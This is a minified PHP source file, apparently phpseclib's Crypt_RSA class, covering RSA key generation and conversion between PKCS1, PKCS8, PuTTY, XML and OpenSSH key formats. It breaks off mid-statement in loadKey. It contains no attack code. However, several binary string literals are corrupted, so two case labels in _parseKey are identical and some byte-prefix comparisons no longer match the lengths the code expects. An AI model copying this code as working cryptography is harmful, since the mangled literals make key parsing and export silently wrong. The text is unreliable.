define('CRYPT_RSA_SIGNATURE_PSS', 1); define('CRYPT_RSA_SIGNATURE_PKCS1', 2); define('CRYPT_RSA_ASN1_INTEGER', 2); define('CRYPT_RSA_ASN1_BITSTRING', 3); define('CRYPT_RSA_ASN1_OCTETSTRING', 4); define('CRYPT_RSA_ASN1_OBJECT', 6); define('CRYPT_RSA_ASN1_SEQUENCE', 48); define('CRYPT_RSA_MODE_INTERNAL', 1); define('CRYPT_RSA_MODE_OPENSSL', 2); define('CRYPT_RSA_OPENSSL_CONFIG', dirname(__FILE__) . '/../openssl.cnf'); define('CRYPT_RSA_PRIVATE_FORMAT_PKCS1', 0); define('CRYPT_RSA_PRIVATE_FORMAT_PUTTY', 1); define('CRYPT_RSA_PRIVATE_FORMAT_XML', 2); define('CRYPT_RSA_PRIVATE_FORMAT_PKCS8', 8); define('CRYPT_RSA_PUBLIC_FORMAT_RAW', 3); define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1', 4); define('CRYPT_RSA_PUBLIC_FORMAT_PKCS1_RAW', 4); define('CRYPT_RSA_PUBLIC_FORMAT_XML', 5); define('CRYPT_RSA_PUBLIC_FORMAT_OPENSSH', 6); define('CRYPT_RSA_PUBLIC_FORMAT_PKCS8', 7); class Crypt_RSA { var $zero; var $one; var $privateKeyFormat = CRYPT_RSA_PRIVATE_FORMAT_PKCS1; var $publicKeyFormat = CRYPT_RSA_PUBLIC_FORMAT_PKCS8; var $modulus; var $k; var $exponent; var $primes; var $exponents; var $coefficients; var $hashName; var $hash; var $hLen; var $sLen; var $mgfHash; var $mgfHLen; var $encryptionMode = CRYPT_RSA_ENCRYPTION_OAEP; var $signatureMode = CRYPT_RSA_SIGNATURE_PSS; var $publicExponent = false; var $password = false; var $components = array(); var $current; var $configFile; var $comment = 'phpseclib-generated-key'; function __construct() { if (!class_exists('Math_BigInteger')) { include_once 'Math/BigInteger.php'; } $this->configFile = CRYPT_RSA_OPENSSL_CONFIG; if (!defined('CRYPT_RSA_MODE')) { switch (true) { case defined('MATH_BIGINTEGER_OPENSSL_DISABLE'): define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); break; case !function_exists('openssl_pkey_get_details'): define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); break; case extension_loaded('openssl') && version_compare(PHP_VERSION, '4.2.0', '>=') && file_exists($this->configFile): ob_start(); @phpinfo(); $content = ob_get_contents(); ob_end_clean(); preg_match_all('#OpenSSL (Header|Library) Version(.*)#im', $content, $matches); $versions = array(); if (!empty($matches[1])) { for ($i = 0; $i < count($matches[1]); $i++) { $fullVersion = trim(str_replace('=>', '', strip_tags($matches[2][$i]))); if (!preg_match('/(\d+\.\d+\.\d+)/i', $fullVersion, $m)) { $versions[$matches[1][$i]] = $fullVersion; } else { $versions[$matches[1][$i]] = $m[0]; } } } switch (true) { case !isset($versions['Header']): case !isset($versions['Library']): case $versions['Header'] == $versions['Library']: case version_compare($versions['Header'], '1.0.0') >= 0 && version_compare($versions['Library'], '1.0.0') >= 0: define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_OPENSSL); break; default: define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); define('MATH_BIGINTEGER_OPENSSL_DISABLE', true); } break; default: define('CRYPT_RSA_MODE', CRYPT_RSA_MODE_INTERNAL); } } $this->zero = new Math_BigInteger(); $this->one = new Math_BigInteger(1); $this->hash = new Crypt_Hash('sha1'); $this->hLen = $this->hash->getLength(); $this->hashName = 'sha1'; $this->mgfHash = new Crypt_Hash('sha1'); $this->mgfHLen = $this->mgfHash->getLength(); } function Crypt_RSA() { $this->__construct(); } function createKey($bits = 1024, $timeout = false, $partial = array()) { if (!defined('CRYPT_RSA_EXPONENT')) { define('CRYPT_RSA_EXPONENT', '65537'); } if (!defined('CRYPT_RSA_SMALLEST_PRIME')) { define('CRYPT_RSA_SMALLEST_PRIME', 4096); } if (CRYPT_RSA_MODE == CRYPT_RSA_MODE_OPENSSL && $bits >= 384 && CRYPT_RSA_EXPONENT == 65537) { $config = array(); if (isset($this->configFile)) { $config['config'] = $this->configFile; } $rsa = openssl_pkey_new(array('private_key_bits' => $bits) + $config); openssl_pkey_export($rsa, $privatekey, null, $config); $publickey = openssl_pkey_get_details($rsa); $publickey = $publickey['key']; $privatekey = call_user_func_array(array($this, '_convertPrivateKey'), array_values($this->_parseKey($privatekey, CRYPT_RSA_PRIVATE_FORMAT_PKCS1))); $publickey = call_user_func_array(array($this, '_convertPublicKey'), array_values($this->_parseKey($publickey, CRYPT_RSA_PUBLIC_FORMAT_PKCS1))); while (openssl_error_string() !== false) { } return array( 'privatekey' => $privatekey, 'publickey' => $publickey, 'partialkey' => false ); } static $e; if (!isset($e)) { $e = new Math_BigInteger(CRYPT_RSA_EXPONENT); } extract($this->_generateMinMax($bits)); $absoluteMin = $min; $temp = $bits >> 1; if ($temp > CRYPT_RSA_SMALLEST_PRIME) { $num_primes = floor($bits / CRYPT_RSA_SMALLEST_PRIME); $temp = CRYPT_RSA_SMALLEST_PRIME; } else { $num_primes = 2; } extract($this->_generateMinMax($temp + $bits % $temp)); $finalMax = $max; extract($this->_generateMinMax($temp)); $generator = new Math_BigInteger(); $n = $this->one->copy(); if (!empty($partial)) { extract(unserialize($partial)); } else { $exponents = $coefficients = $primes = array(); $lcm = array( 'top' => $this->one->copy(), 'bottom' => false ); } $start = time(); $i0 = count($primes) + 1; do { for ($i = $i0; $i <= $num_primes; $i++) { if ($timeout !== false) { $timeout-= time() - $start; $start = time(); if ($timeout <= 0) { return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )) ); } } if ($i == $num_primes) { list($min, $temp) = $absoluteMin->divide($n); if (!$temp->equals($this->zero)) { $min = $min->add($this->one); } $primes[$i] = $generator->randomPrime($min, $finalMax, $timeout); } else { $primes[$i] = $generator->randomPrime($min, $max, $timeout); } if ($primes[$i] === false) { if (count($primes) > 1) { $partialkey = ''; } else { array_pop($primes); $partialkey = serialize(array( 'primes' => $primes, 'coefficients' => $coefficients, 'lcm' => $lcm, 'exponents' => $exponents )); } return array( 'privatekey' => '', 'publickey' => '', 'partialkey' => $partialkey ); } if ($i > 2) { $coefficients[$i] = $n->modInverse($primes[$i]); } $n = $n->multiply($primes[$i]); $temp = $primes[$i]->subtract($this->one); $lcm['top'] = $lcm['top']->multiply($temp); $lcm['bottom'] = $lcm['bottom'] === false ? $temp : $lcm['bottom']->gcd($temp); $exponents[$i] = $e->modInverse($temp); } list($temp) = $lcm['top']->divide($lcm['bottom']); $gcd = $temp->gcd($e); $i0 = 1; } while (!$gcd->equals($this->one)); $d = $e->modInverse($temp); $coefficients[2] = $primes[2]->modInverse($primes[1]); return array( 'privatekey' => $this->_convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients), 'publickey' => $this->_convertPublicKey($n, $e), 'partialkey' => false ); } function _convertPrivateKey($n, $e, $d, $primes, $exponents, $coefficients) { $signed = $this->privateKeyFormat != CRYPT_RSA_PRIVATE_FORMAT_XML; $num_primes = count($primes); $raw = array( 'version' => $num_primes == 2 ? chr(0) : chr(1), 'modulus' => $n->toBytes($signed), 'publicExponent' => $e->toBytes($signed), 'privateExponent' => $d->toBytes($signed), 'prime1' => $primes[1]->toBytes($signed), 'prime2' => $primes[2]->toBytes($signed), 'exponent1' => $exponents[1]->toBytes($signed), 'exponent2' => $exponents[2]->toBytes($signed), 'coefficient' => $coefficients[2]->toBytes($signed) ); switch ($this->privateKeyFormat) { case CRYPT_RSA_PRIVATE_FORMAT_XML: if ($num_primes != 2) { return false; } return "<RSAKeyValue>
" . ' <Modulus>' . base64_encode($raw['modulus']) . "</Modulus>
" . ' <Exponent>' . base64_encode($raw['publicExponent']) . "</Exponent>
" . ' <P>' . base64_encode($raw['prime1']) . "</P>
" . ' <Q>' . base64_encode($raw['prime2']) . "</Q>
" . ' <DP>' . base64_encode($raw['exponent1']) . "</DP>
" . ' <DQ>' . base64_encode($raw['exponent2']) . "</DQ>
" . ' <InverseQ>' . base64_encode($raw['coefficient']) . "</InverseQ>
" . ' <D>' . base64_encode($raw['privateExponent']) . "</D>
" . '</RSAKeyValue>'; break; case CRYPT_RSA_PRIVATE_FORMAT_PUTTY: if ($num_primes != 2) { return false; } $key = "PuTTY-User-Key-File-2: ssh-rsa
Encryption: "; $encryption = (!empty($this->password) || is_string($this->password)) ? 'aes256-cbc' : 'none'; $key.= $encryption; $key.= "
Comment: " . $this->comment . "
"; $public = pack( 'Na*Na*Na*', strlen('ssh-rsa'), 'ssh-rsa', strlen($raw['publicExponent']), $raw['publicExponent'], strlen($raw['modulus']), $raw['modulus'] ); $source = pack( 'Na*Na*Na*Na*', strlen('ssh-rsa'), 'ssh-rsa', strlen($encryption), $encryption, strlen($this->comment), $this->comment, strlen($public), $public ); $public = base64_encode($public); $key.= "Public-Lines: " . ((strlen($public) + 63) >> 6) . "
"; $key.= chunk_split($public, 64); $private = pack( 'Na*Na*Na*Na*', strlen($raw['privateExponent']), $raw['privateExponent'], strlen($raw['prime1']), $raw['prime1'], strlen($raw['prime2']), $raw['prime2'], strlen($raw['coefficient']), $raw['coefficient'] ); if (empty($this->password) && !is_string($this->password)) { $source.= pack('Na*', strlen($private), $private); $hashkey = 'putty-private-key-file-mac-key'; } else { $private.= crypt_random_string(16 - (strlen($private) & 15)); $source.= pack('Na*', strlen($private), $private); if (!class_exists('Crypt_AES')) { include_once 'Crypt/AES.php'; } $sequence = 0; $symkey = ''; while (strlen($symkey) < 32) { $temp = pack('Na*', $sequence++, $this->password); $symkey.= pack('H*', sha1($temp)); } $symkey = substr($symkey, 0, 32); $crypto = new Crypt_AES(); $crypto->setKey($symkey); $crypto->disablePadding(); $private = $crypto->encrypt($private); $hashkey = 'putty-private-key-file-mac-key' . $this->password; } $private = base64_encode($private); $key.= 'Private-Lines: ' . ((strlen($private) + 63) >> 6) . "
"; $key.= chunk_split($private, 64); if (!class_exists('Crypt_Hash')) { include_once 'Crypt/Hash.php'; } $hash = new Crypt_Hash('sha1'); $hash->setKey(pack('H*', sha1($hashkey))); $key.= 'Private-MAC: ' . bin2hex($hash->hash($source)) . "
"; return $key; default: $components = array(); foreach ($raw as $name => $value) { $components[$name] = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($value)), $value); } $RSAPrivateKey = implode('', $components); if ($num_primes > 2) { $OtherPrimeInfos = ''; for ($i = 3; $i <= $num_primes; $i++) { $OtherPrimeInfo = pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($primes[$i]->toBytes(true))), $primes[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($exponents[$i]->toBytes(true))), $exponents[$i]->toBytes(true)); $OtherPrimeInfo.= pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($coefficients[$i]->toBytes(true))), $coefficients[$i]->toBytes(true)); $OtherPrimeInfos.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfo)), $OtherPrimeInfo); } $RSAPrivateKey.= pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($OtherPrimeInfos)), $OtherPrimeInfos); } $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey); if ($this->privateKeyFormat == CRYPT_RSA_PRIVATE_FORMAT_PKCS8) { $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); $RSAPrivateKey = pack( 'Ca*a*Ca*a*', CRYPT_RSA_ASN1_INTEGER, "", $rsaOID, 4, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey ); $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey); if (!empty($this->password) || is_string($this->password)) { $salt = crypt_random_string(8); $iterationCount = 2048; if (!class_exists('Crypt_DES')) { include_once 'Crypt/DES.php'; } $crypto = new Crypt_DES(); $crypto->setPassword($this->password, 'pbkdf1', 'md5', $salt, $iterationCount); $RSAPrivateKey = $crypto->encrypt($RSAPrivateKey); $parameters = pack( 'Ca*a*Ca*N', CRYPT_RSA_ASN1_OCTETSTRING, $this->_encodeLength(strlen($salt)), $salt, CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(4), $iterationCount ); $pbeWithMD5AndDES_CBC = "*H
"; $encryptionAlgorithm = pack( 'Ca*a*Ca*a*', CRYPT_RSA_ASN1_OBJECT, $this->_encodeLength(strlen($pbeWithMD5AndDES_CBC)), $pbeWithMD5AndDES_CBC, CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($parameters)), $parameters ); $RSAPrivateKey = pack( 'Ca*a*Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($encryptionAlgorithm)), $encryptionAlgorithm, CRYPT_RSA_ASN1_OCTETSTRING, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey ); $RSAPrivateKey = pack('Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($RSAPrivateKey)), $RSAPrivateKey); $RSAPrivateKey = "-----BEGIN ENCRYPTED PRIVATE KEY-----
" . chunk_split(base64_encode($RSAPrivateKey), 64) . '-----END ENCRYPTED PRIVATE KEY-----'; } else { $RSAPrivateKey = "-----BEGIN PRIVATE KEY-----
" . chunk_split(base64_encode($RSAPrivateKey), 64) . '-----END PRIVATE KEY-----'; } return $RSAPrivateKey; } if (!empty($this->password) || is_string($this->password)) { $iv = crypt_random_string(8); $symkey = pack('H*', md5($this->password . $iv)); $symkey.= substr(pack('H*', md5($symkey . $this->password . $iv)), 0, 8); if (!class_exists('Crypt_TripleDES')) { include_once 'Crypt/TripleDES.php'; } $des = new Crypt_TripleDES(); $des->setKey($symkey); $des->setIV($iv); $iv = strtoupper(bin2hex($iv)); $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----
" . "Proc-Type: 4,ENCRYPTED
" . "DEK-Info: DES-EDE3-CBC,$iv
" . "
" . chunk_split(base64_encode($des->encrypt($RSAPrivateKey)), 64) . '-----END RSA PRIVATE KEY-----'; } else { $RSAPrivateKey = "-----BEGIN RSA PRIVATE KEY-----
" . chunk_split(base64_encode($RSAPrivateKey), 64) . '-----END RSA PRIVATE KEY-----'; } return $RSAPrivateKey; } } function _convertPublicKey($n, $e) { $signed = $this->publicKeyFormat != CRYPT_RSA_PUBLIC_FORMAT_XML; $modulus = $n->toBytes($signed); $publicExponent = $e->toBytes($signed); switch ($this->publicKeyFormat) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: return array('e' => $e->copy(), 'n' => $n->copy()); case CRYPT_RSA_PUBLIC_FORMAT_XML: return "<RSAKeyValue>
" . ' <Modulus>' . base64_encode($modulus) . "</Modulus>
" . ' <Exponent>' . base64_encode($publicExponent) . "</Exponent>
" . '</RSAKeyValue>'; break; case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $RSAPublicKey = pack('Na*Na*Na*', strlen('ssh-rsa'), 'ssh-rsa', strlen($publicExponent), $publicExponent, strlen($modulus), $modulus); $RSAPublicKey = 'ssh-rsa ' . base64_encode($RSAPublicKey) . ' ' . $this->comment; return $RSAPublicKey; default: $components = array( 'modulus' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($modulus)), $modulus), 'publicExponent' => pack('Ca*a*', CRYPT_RSA_ASN1_INTEGER, $this->_encodeLength(strlen($publicExponent)), $publicExponent) ); $RSAPublicKey = pack( 'Ca*a*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($components['modulus']) + strlen($components['publicExponent'])), $components['modulus'], $components['publicExponent'] ); if ($this->publicKeyFormat == CRYPT_RSA_PUBLIC_FORMAT_PKCS1_RAW) { $RSAPublicKey = "-----BEGIN RSA PUBLIC KEY-----
" . chunk_split(base64_encode($RSAPublicKey), 64) . '-----END RSA PUBLIC KEY-----'; } else { $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); $RSAPublicKey = chr(0) . $RSAPublicKey; $RSAPublicKey = chr(3) . $this->_encodeLength(strlen($RSAPublicKey)) . $RSAPublicKey; $RSAPublicKey = pack( 'Ca*a*', CRYPT_RSA_ASN1_SEQUENCE, $this->_encodeLength(strlen($rsaOID . $RSAPublicKey)), $rsaOID . $RSAPublicKey ); $RSAPublicKey = "-----BEGIN PUBLIC KEY-----
" . chunk_split(base64_encode($RSAPublicKey), 64) . '-----END PUBLIC KEY-----'; } return $RSAPublicKey; } } function _parseKey($key, $type) { if ($type != CRYPT_RSA_PUBLIC_FORMAT_RAW && !is_string($key)) { return false; } switch ($type) { case CRYPT_RSA_PUBLIC_FORMAT_RAW: if (!is_array($key)) { return false; } $components = array(); switch (true) { case isset($key['e']): $components['publicExponent'] = $key['e']->copy(); break; case isset($key['exponent']): $components['publicExponent'] = $key['exponent']->copy(); break; case isset($key['publicExponent']): $components['publicExponent'] = $key['publicExponent']->copy(); break; case isset($key[0]): $components['publicExponent'] = $key[0]->copy(); } switch (true) { case isset($key['n']): $components['modulus'] = $key['n']->copy(); break; case isset($key['modulo']): $components['modulus'] = $key['modulo']->copy(); break; case isset($key['modulus']): $components['modulus'] = $key['modulus']->copy(); break; case isset($key[1]): $components['modulus'] = $key[1]->copy(); } return isset($components['modulus']) && isset($components['publicExponent']) ? $components : false; case CRYPT_RSA_PRIVATE_FORMAT_PKCS1: case CRYPT_RSA_PRIVATE_FORMAT_PKCS8: case CRYPT_RSA_PUBLIC_FORMAT_PKCS1: if (preg_match('#DEK-Info: (.+),(.+)#', $key, $matches)) { $iv = pack('H*', trim($matches[2])); $symkey = pack('H*', md5($this->password . substr($iv, 0, 8))); $symkey.= pack('H*', md5($symkey . $this->password . substr($iv, 0, 8))); $key = preg_replace('#^(?:Proc-Type|DEK-Info): .*#m', '', $key); $ciphertext = $this->_extractBER($key); if ($ciphertext === false) { $ciphertext = $key; } switch ($matches[1]) { case 'AES-256-CBC': if (!class_exists('Crypt_AES')) { include_once 'Crypt/AES.php'; } $crypto = new Crypt_AES(); break; case 'AES-128-CBC': if (!class_exists('Crypt_AES')) { include_once 'Crypt/AES.php'; } $symkey = substr($symkey, 0, 16); $crypto = new Crypt_AES(); break; case 'DES-EDE3-CFB': if (!class_exists('Crypt_TripleDES')) { include_once 'Crypt/TripleDES.php'; } $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CFB); break; case 'DES-EDE3-CBC': if (!class_exists('Crypt_TripleDES')) { include_once 'Crypt/TripleDES.php'; } $symkey = substr($symkey, 0, 24); $crypto = new Crypt_TripleDES(); break; case 'DES-CBC': if (!class_exists('Crypt_DES')) { include_once 'Crypt/DES.php'; } $crypto = new Crypt_DES(); break; default: return false; } $crypto->setKey($symkey); $crypto->setIV($iv); $decoded = $crypto->decrypt($ciphertext); } else { $decoded = $this->_extractBER($key); } if ($decoded !== false) { $key = $decoded; } $components = array(); if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); if ($tag == CRYPT_RSA_ASN1_INTEGER && substr($key, 0, 3) == "0") { $this->_string_shift($key, 3); $tag = CRYPT_RSA_ASN1_SEQUENCE; } if ($tag == CRYPT_RSA_ASN1_SEQUENCE) { $temp = $this->_string_shift($key, $this->_decodeLength($key)); if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_OBJECT) { return false; } $length = $this->_decodeLength($temp); switch ($this->_string_shift($temp, $length)) { case "*H
": break; case "*H
": if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($temp) != strlen($temp)) { return false; } $this->_string_shift($temp); $salt = $this->_string_shift($temp, $this->_decodeLength($temp)); if (ord($this->_string_shift($temp)) != CRYPT_RSA_ASN1_INTEGER) { return false; } $this->_decodeLength($temp); list(, $iterationCount) = unpack('N', str_pad($temp, 4, chr(0), STR_PAD_LEFT)); $this->_string_shift($key); $length = $this->_decodeLength($key); if (strlen($key) != $length) { return false; } if (!class_exists('Crypt_DES')) { include_once 'Crypt/DES.php'; } $crypto = new Crypt_DES(); $crypto->setPassword($this->password, 'pbkdf1', 'md5', $salt, $iterationCount); $key = $crypto->decrypt($key); if ($key === false) { return false; } return $this->_parseKey($key, CRYPT_RSA_PRIVATE_FORMAT_PKCS1); default: return false; } $tag = ord($this->_string_shift($key)); $this->_decodeLength($key); if ($tag == CRYPT_RSA_ASN1_BITSTRING) { $this->_string_shift($key); } if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } if ($this->_decodeLength($key) != strlen($key)) { return false; } $tag = ord($this->_string_shift($key)); } if ($tag != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $temp = $this->_string_shift($key, $length); if (strlen($temp) != 1 || ord($temp) > 2) { $components['modulus'] = new Math_BigInteger($temp, 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components[$type == CRYPT_RSA_PUBLIC_FORMAT_PKCS1 ? 'publicExponent' : 'privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256); return $components; } if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_INTEGER) { return false; } $length = $this->_decodeLength($key); $components['modulus'] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['privateExponent'] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'] = array(1 => new Math_BigInteger($this->_string_shift($key, $length), 256)); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'] = array(1 => new Math_BigInteger($this->_string_shift($key, $length), 256)); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'] = array(2 => new Math_BigInteger($this->_string_shift($key, $length), 256)); if (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); while (!empty($key)) { if (ord($this->_string_shift($key)) != CRYPT_RSA_ASN1_SEQUENCE) { return false; } $this->_decodeLength($key); $key = substr($key, 1); $length = $this->_decodeLength($key); $components['primes'][] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['exponents'][] = new Math_BigInteger($this->_string_shift($key, $length), 256); $this->_string_shift($key); $length = $this->_decodeLength($key); $components['coefficients'][] = new Math_BigInteger($this->_string_shift($key, $length), 256); } } return $components; case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: $parts = explode(' ', $key, 3); $key = isset($parts[1]) ? base64_decode($parts[1]) : false; if ($key === false) { return false; } $comment = isset($parts[2]) ? $parts[2] : false; $cleanup = substr($key, 0, 11) == "ssh-rsa"; if (strlen($key) <= 4) { return false; } extract(unpack('Nlength', $this->_string_shift($key, 4))); $publicExponent = new Math_BigInteger($this->_string_shift($key, $length), -256); if (strlen($key) <= 4) { return false; } extract(unpack('Nlength', $this->_string_shift($key, 4))); $modulus = new Math_BigInteger($this->_string_shift($key, $length), -256); if ($cleanup && strlen($key)) { if (strlen($key) <= 4) { return false; } extract(unpack('Nlength', $this->_string_shift($key, 4))); $realModulus = new Math_BigInteger($this->_string_shift($key, $length), -256); return strlen($key) ? false : array( 'modulus' => $realModulus, 'publicExponent' => $modulus, 'comment' => $comment ); } else { return strlen($key) ? false : array( 'modulus' => $modulus, 'publicExponent' => $publicExponent, 'comment' => $comment ); } case CRYPT_RSA_PRIVATE_FORMAT_XML: case CRYPT_RSA_PUBLIC_FORMAT_XML: $this->components = array(); $xml = xml_parser_create('UTF-8'); xml_set_object($xml, $this); xml_set_element_handler($xml, '_start_element_handler', '_stop_element_handler'); xml_set_character_data_handler($xml, '_data_handler'); if (!xml_parse($xml, '<xml>' . $key . '</xml>')) { return false; } return isset($this->components['modulus']) && isset($this->components['publicExponent']) ? $this->components : false; case CRYPT_RSA_PRIVATE_FORMAT_PUTTY: $components = array(); $key = preg_split('#
|
|
#', $key); $type = trim(preg_replace('#PuTTY-User-Key-File-2: (.+)#', '$1', $key[0])); if ($type != 'ssh-rsa') { return false; } $encryption = trim(preg_replace('#Encryption: (.+)#', '$1', $key[1])); $comment = trim(preg_replace('#Comment: (.+)#', '$1', $key[2])); $publicLength = trim(preg_replace('#Public-Lines: (\d+)#', '$1', $key[3])); $public = base64_decode(implode('', array_map('trim', array_slice($key, 4, $publicLength)))); $public = substr($public, 11); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['publicExponent'] = new Math_BigInteger($this->_string_shift($public, $length), -256); extract(unpack('Nlength', $this->_string_shift($public, 4))); $components['modulus'] = new Math_BigInteger($this->_string_shift($public, $length), -256); $privateLength = trim(preg_replace('#Private-Lines: (\d+)#', '$1', $key[$publicLength + 4])); $private = base64_decode(implode('', array_map('trim', array_slice($key, $publicLength + 5, $privateLength)))); switch ($encryption) { case 'aes256-cbc': if (!class_exists('Crypt_AES')) { include_once 'Crypt/AES.php'; } $symkey = ''; $sequence = 0; while (strlen($symkey) < 32) { $temp = pack('Na*', $sequence++, $this->password); $symkey.= pack('H*', sha1($temp)); } $symkey = substr($symkey, 0, 32); $crypto = new Crypt_AES(); } if ($encryption != 'none') { $crypto->setKey($symkey); $crypto->disablePadding(); $private = $crypto->decrypt($private); if ($private === false) { return false; } } extract(unpack('Nlength', $this->_string_shift($private, 4))); if (strlen($private) < $length) { return false; } $components['privateExponent'] = new Math_BigInteger($this->_string_shift($private, $length), -256); extract(unpack('Nlength', $this->_string_shift($private, 4))); if (strlen($private) < $length) { return false; } $components['primes'] = array(1 => new Math_BigInteger($this->_string_shift($private, $length), -256)); extract(unpack('Nlength', $this->_string_shift($private, 4))); if (strlen($private) < $length) { return false; } $components['primes'][] = new Math_BigInteger($this->_string_shift($private, $length), -256); $temp = $components['primes'][1]->subtract($this->one); $components['exponents'] = array(1 => $components['publicExponent']->modInverse($temp)); $temp = $components['primes'][2]->subtract($this->one); $components['exponents'][] = $components['publicExponent']->modInverse($temp); extract(unpack('Nlength', $this->_string_shift($private, 4))); if (strlen($private) < $length) { return false; } $components['coefficients'] = array(2 => new Math_BigInteger($this->_string_shift($private, $length), -256)); return $components; } } function getSize() { return !isset($this->modulus) ? 0 : strlen($this->modulus->toBits()); } function _start_element_handler($parser, $name, $attribs) { switch ($name) { case 'MODULUS': $this->current = &$this->components['modulus']; break; case 'EXPONENT': $this->current = &$this->components['publicExponent']; break; case 'P': $this->current = &$this->components['primes'][1]; break; case 'Q': $this->current = &$this->components['primes'][2]; break; case 'DP': $this->current = &$this->components['exponents'][1]; break; case 'DQ': $this->current = &$this->components['exponents'][2]; break; case 'INVERSEQ': $this->current = &$this->components['coefficients'][2]; break; case 'D': $this->current = &$this->components['privateExponent']; } $this->current = ''; } function _stop_element_handler($parser, $name) { if (isset($this->current)) { $this->current = new Math_BigInteger(base64_decode($this->current), 256); unset($this->current); } } function _data_handler($parser, $data) { if (!isset($this->current) || is_object($this->current)) { return; } $this->current.= trim($data); } function loadKey($key, $type = false) { if (is_object($key) && strtolower(get_class($key)) == 'crypt_rsa') { $this->privateKeyFormat = $key->privateKeyFormat; $this->publicKeyFormat = $key->publicKeyFormat; $this->k = $key->k; $this->hLen = $key->hLen; $this->sLen = $key->sLen; $this->mgfHLen = $key->mgfHLen; $this->encryptionMode = $key->encryptionMode; $this->signatureMode = $key->signatureMode; $this->password = $key->password; $this->configFile = $key->configFile; $this->comment = $key->comment; if (is_object($key->hash)) { $this->hash = new Crypt_Hash($key->hash->getHash()); } if (is_object($key->mgfHash)) { $this->mgfHash = new Crypt_Hash($key->mgfHash->getHash()); } if (is_object($key->modulus)) { $this->modulus = $key->modulus->copy(); } if (is_object($key->exponent)) { $this->exponent = $key->exponent->copy(); } if (is_object($key->publicExponent)) { $this->publicExponent = $key->publicExponent->copy(); } $this->primes = array(); $this->exponents = array(); $this->coefficients = array(); foreach ($this->primes as $prime) { $this->primes[] = $prime->copy(); } foreach ($this->exponents as $exponent) { $this->exponents[] = $exponent->copy(); } foreach ($this->coefficients as $coefficient) { $this->coefficients[] = $coefficient->copy(); } return true; } if ($type === false) { $types = array( CRYPT_RSA_PUBLIC_FORMAT_RAW, CRYPT_RSA_PRIVATE_FORMAT_PKCS1, CRYPT_RSA_PRIVATE_FORMAT_XML, CRYPT_RSA_PRIVATE_FORMAT_PUTTY, CRYPT_RSA_PUBLIC_FORMAT_OPENSSH ); foreach ($types as $type) { $components = $this->_parseKey($key, $type); if ($components !== false) { break; } } } else { $components = $this->_parseKey($key, $type); } if ($components === false) { return false; } if (isset($components['comment']) && $components['comment'] !== false) { $this->comment = $components['comment']; } $this->modulus = $components['modulus']; $this->k = strlen($this->modulus->toBytes()); $this->exponent = isset($components['privateExponent']) ? $components['privateExponent'] : $components['publicExponent']; if (isset($components['primes'])) { $this->primes = $components['primes']; $this->exponents = $components['exponents']; $this->coefficients = 